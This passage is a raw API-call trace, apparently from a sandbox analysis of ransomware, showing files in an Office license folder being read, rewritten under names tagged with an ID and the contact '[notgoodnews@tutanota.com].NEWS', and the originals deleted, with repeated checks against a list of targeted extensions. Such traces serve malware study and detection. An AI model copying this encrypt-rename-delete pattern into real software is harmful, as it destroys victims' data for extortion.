hFile=0x51c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0177.734] ReadFile (in: hFile=0x550, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.734] WriteFile (in: hFile=0x51c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10c, lpOverlapped=0x0) returned 1 [0177.734] SetEndOfFile (hFile=0x51c) returned 1 [0177.734] CloseHandle (hObject=0x51c) returned 1 [0177.734] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.735] SetEndOfFile (hFile=0x550) returned 1 [0177.738] CloseHandle (hObject=0x550) returned 1 [0177.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 1 [0177.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0177.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0177.740] lstrlenW (lpString=".doc") returned 4 [0177.740] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.740] lstrlenW (lpString=".docx") returned 5 [0177.740] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.740] lstrlenW (lpString=".pdf") returned 4 [0177.740] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.740] lstrlenW (lpString=".xls") returned 4 [0177.740] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.740] lstrlenW (lpString=".xlsx") returned 5 [0177.740] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.740] lstrlenW (lpString=".ppt") returned 4 [0177.740] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0177.740] lstrlenW (lpString=".zip") returned 4 [0177.740] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.740] lstrlenW (lpString=".rar") returned 4 [0177.740] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.740] lstrlenW (lpString=".bz2") returned 4 [0177.740] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.740] lstrlenW (lpString=".7z") returned 3 [0177.741] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0177.741] lstrlenW (lpString=".dbf") returned 4 [0177.741] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0177.741] lstrlenW (lpString=".1cd") returned 4 [0177.741] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0177.741] lstrlenW (lpString=".jpg") returned 4 [0177.741] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0177.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0177.741] lstrlenW (lpString=".doc") returned 4 [0177.741] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.741] lstrlenW (lpString=".docx") returned 5 [0177.741] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.741] lstrlenW (lpString=".pdf") returned 4 [0177.741] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.741] lstrlenW (lpString=".xls") returned 4 [0177.741] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.741] lstrlenW (lpString=".xlsx") returned 5 [0177.741] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.742] lstrlenW (lpString=".ppt") returned 4 [0177.742] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0177.742] lstrlenW (lpString=".zip") returned 4 [0177.742] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.742] lstrlenW (lpString=".rar") returned 4 [0177.742] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.742] lstrlenW (lpString=".bz2") returned 4 [0177.742] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.742] lstrlenW (lpString=".7z") returned 3 [0177.742] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0177.742] lstrlenW (lpString=".dbf") returned 4 [0177.742] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0177.742] lstrlenW (lpString=".1cd") returned 4 [0177.742] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0177.742] lstrlenW (lpString=".jpg") returned 4 [0177.742] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.742] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0177.742] lstrlenW (lpString="AccessVL_KMS_Client-ppd.xrm-ms") returned 30 [0177.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.744] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=6794) returned 1 [0177.744] CloseHandle (hObject=0x550) returned 1 [0177.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220 [0177.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.744] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.744] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.745] GetLastError () returned 0x0 [0177.745] ReadFile (in: hFile=0x550, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x1a8a, lpOverlapped=0x0) returned 1 [0177.754] WriteFile (in: hFile=0x51c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x1a90, lpOverlapped=0x0) returned 1 [0177.755] ReadFile (in: hFile=0x550, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.755] WriteFile (in: hFile=0x51c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x110, lpOverlapped=0x0) returned 1 [0177.755] SetEndOfFile (hFile=0x51c) returned 1 [0177.756] CloseHandle (hObject=0x51c) returned 1 [0177.756] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.756] SetEndOfFile (hFile=0x550) returned 1 [0177.759] CloseHandle (hObject=0x550) returned 1 [0177.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 1 [0177.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0177.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0177.761] lstrlenW (lpString=".doc") returned 4 [0177.761] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.761] lstrlenW (lpString=".docx") returned 5 [0177.761] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.761] lstrlenW (lpString=".pdf") returned 4 [0177.761] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.761] lstrlenW (lpString=".xls") returned 4 [0177.761] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.761] lstrlenW (lpString=".xlsx") returned 5 [0177.761] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.761] lstrlenW (lpString=".ppt") returned 4 [0177.761] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0177.761] lstrlenW (lpString=".zip") returned 4 [0177.761] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.761] lstrlenW (lpString=".rar") returned 4 [0177.761] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.761] lstrlenW (lpString=".bz2") returned 4 [0177.761] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.761] lstrlenW (lpString=".7z") returned 3 [0177.761] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0177.761] lstrlenW (lpString=".dbf") returned 4 [0177.762] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0177.762] lstrlenW (lpString=".1cd") returned 4 [0177.762] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0177.762] lstrlenW (lpString=".jpg") returned 4 [0177.762] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0177.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0177.762] lstrlenW (lpString=".doc") returned 4 [0177.762] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.762] lstrlenW (lpString=".docx") returned 5 [0177.762] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.762] lstrlenW (lpString=".pdf") returned 4 [0177.762] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.762] lstrlenW (lpString=".xls") returned 4 [0177.762] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.762] lstrlenW (lpString=".xlsx") returned 5 [0177.762] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.762] lstrlenW (lpString=".ppt") returned 4 [0177.762] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0177.762] lstrlenW (lpString=".zip") returned 4 [0177.762] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.762] lstrlenW (lpString=".rar") returned 4 [0177.762] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.762] lstrlenW (lpString=".bz2") returned 4 [0177.762] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.762] lstrlenW (lpString=".7z") returned 3 [0177.763] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0177.763] lstrlenW (lpString=".dbf") returned 4 [0177.763] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0177.763] lstrlenW (lpString=".1cd") returned 4 [0177.763] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0177.763] lstrlenW (lpString=".jpg") returned 4 [0177.763] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.763] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0177.763] lstrlenW (lpString="AccessVL_KMS_Client-ul.xrm-ms") returned 29 [0177.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.764] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=9606) returned 1 [0177.764] CloseHandle (hObject=0x550) returned 1 [0177.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220 [0177.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.765] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.765] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.766] GetLastError () returned 0x0 [0177.766] ReadFile (in: hFile=0x550, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2586, lpOverlapped=0x0) returned 1 [0177.862] WriteFile (in: hFile=0x51c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2590, lpOverlapped=0x0) returned 1 [0177.863] ReadFile (in: hFile=0x550, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.863] WriteFile (in: hFile=0x51c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10e, lpOverlapped=0x0) returned 1 [0177.863] SetEndOfFile (hFile=0x51c) returned 1 [0177.863] CloseHandle (hObject=0x51c) returned 1 [0177.863] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.863] SetEndOfFile (hFile=0x550) returned 1 [0177.867] CloseHandle (hObject=0x550) returned 1 [0177.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.868] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 1 [0177.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0177.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0177.869] lstrlenW (lpString=".doc") returned 4 [0177.869] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.869] lstrlenW (lpString=".docx") returned 5 [0177.869] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.869] lstrlenW (lpString=".pdf") returned 4 [0177.869] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.869] lstrlenW (lpString=".xls") returned 4 [0177.869] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.869] lstrlenW (lpString=".xlsx") returned 5 [0177.869] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.869] lstrlenW (lpString=".ppt") returned 4 [0177.869] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0177.869] lstrlenW (lpString=".zip") returned 4 [0177.869] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.869] lstrlenW (lpString=".rar") returned 4 [0177.869] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.869] lstrlenW (lpString=".bz2") returned 4 [0177.869] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.869] lstrlenW (lpString=".7z") returned 3 [0177.869] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0177.869] lstrlenW (lpString=".dbf") returned 4 [0177.869] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0177.869] lstrlenW (lpString=".1cd") returned 4 [0177.869] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0177.870] lstrlenW (lpString=".jpg") returned 4 [0177.870] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0177.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0177.870] lstrlenW (lpString=".doc") returned 4 [0177.870] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0177.870] lstrlenW (lpString=".docx") returned 5 [0177.870] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0177.870] lstrlenW (lpString=".pdf") returned 4 [0177.870] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0177.870] lstrlenW (lpString=".xls") returned 4 [0177.870] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0177.870] lstrlenW (lpString=".xlsx") returned 5 [0177.870] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0177.870] lstrlenW (lpString=".ppt") returned 4 [0177.870] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0177.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0177.870] lstrlenW (lpString=".zip") returned 4 [0177.870] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0177.870] lstrlenW (lpString=".rar") returned 4 [0177.870] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0177.870] lstrlenW (lpString=".bz2") returned 4 [0177.870] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0177.870] lstrlenW (lpString=".7z") returned 3 [0177.870] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0177.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0177.870] lstrlenW (lpString=".dbf") returned 4 [0177.870] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0177.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0177.870] lstrlenW (lpString=".1cd") returned 4 [0177.870] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0177.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79 [0177.871] lstrlenW (lpString=".jpg") returned 4 [0177.871] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0177.871] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0177.871] lstrlenW (lpString="AccessVL_MAK-ul-oob.xrm-ms") returned 26 [0177.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.872] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11581) returned 1 [0177.872] CloseHandle (hObject=0x550) returned 1 [0177.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms")) returned 0x220 [0177.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0177.873] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.873] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c 